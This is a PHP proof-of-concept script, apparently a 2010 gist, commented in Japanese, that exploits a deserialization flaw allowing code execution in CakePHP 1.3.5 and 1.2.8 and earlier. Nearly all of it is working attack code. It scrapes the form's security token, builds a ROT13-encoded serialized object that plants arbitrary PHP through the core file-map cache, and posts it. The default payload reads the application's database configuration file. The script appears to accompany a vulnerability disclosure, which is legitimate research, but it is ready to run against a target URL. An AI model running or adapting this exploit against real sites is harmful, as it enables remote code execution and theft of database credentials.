Created
November 16, 2010 18:20
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<?php | |
/* | |
CakePHP 1.3.5 と 1.2.8 以下に存在する PHP コード実行の脆弱性を使って攻撃する PHP スクリプト | |
# 解説は http://co3k.org/diary/12 | |
Report: http://malloc.im/CakePHP-unserialize.txt | |
Original POC: http://malloc.im/burnedcake.pwy | |
連絡先: Kousuke Ebihara <[email protected]> | |
もしくは Twitter で @co3k 宛にリプライなり DM なり | |
*/ | |
// 攻撃対象の URL | |
$url = 'http://example.com/'; | |
// このスクリプトは攻撃のためのフィールドの値しか POST しないので、 | |
// フォームを POST するために必要な他のフィールドがあれば、 | |
// 以下の連想配列の要素として記述してください | |
$post = array( | |
// 'body' => 'body_value', | |
); | |
// 実行したい任意のコード | |
$code = '<?php readfile(\'../config/database.php\'); exit(); ?>'; | |
/* | |
$code = '<?php phpinfo(); exit(); ?>'; | |
*/ | |
// --- | |
function request($url, $post = array()) | |
{ | |
$ch = curl_init($url); | |
if ($post) | |
{ | |
curl_setopt($ch, CURLOPT_POST, true); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); | |
} | |
curl_setopt($ch, CURLINFO_HEADER_OUT, true); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); | |
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie'); | |
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie'); | |
return curl_exec($ch); | |
} | |
$response = request($url); | |
$matchings = array( | |
'key' => 'data\[_Token\]\[key\]" value="(.*?)"', | |
'path' => 'method="post" action="(.*?)', | |
'fields' => 'data\[_Token\]\[fields\]" value="([0-9a-f]{32}).*?"', | |
); | |
foreach ($matchings as $var => $matching) | |
{ | |
if (!preg_match('/'.$matching.'/', $response, $matches)) | |
{ | |
var_dump('Failed to match'); | |
exit; | |
} | |
$$var = $matches[1]; | |
} | |
$fields .= str_rot13('%3NO:3:"App":4:{s:7:"__cache";s:3:"bam";s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:' | |
. strlen($code).':"'.$code.'";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}'); | |
$postdata = array_merge($post, array( | |
'data[_Token][key]' => $key, | |
'data[_Token][fields]' => $fields, | |
)); | |
request($url.$path, $postdata); | |
request($url.$path, $postdata); | |
var_dump(request($url)); |
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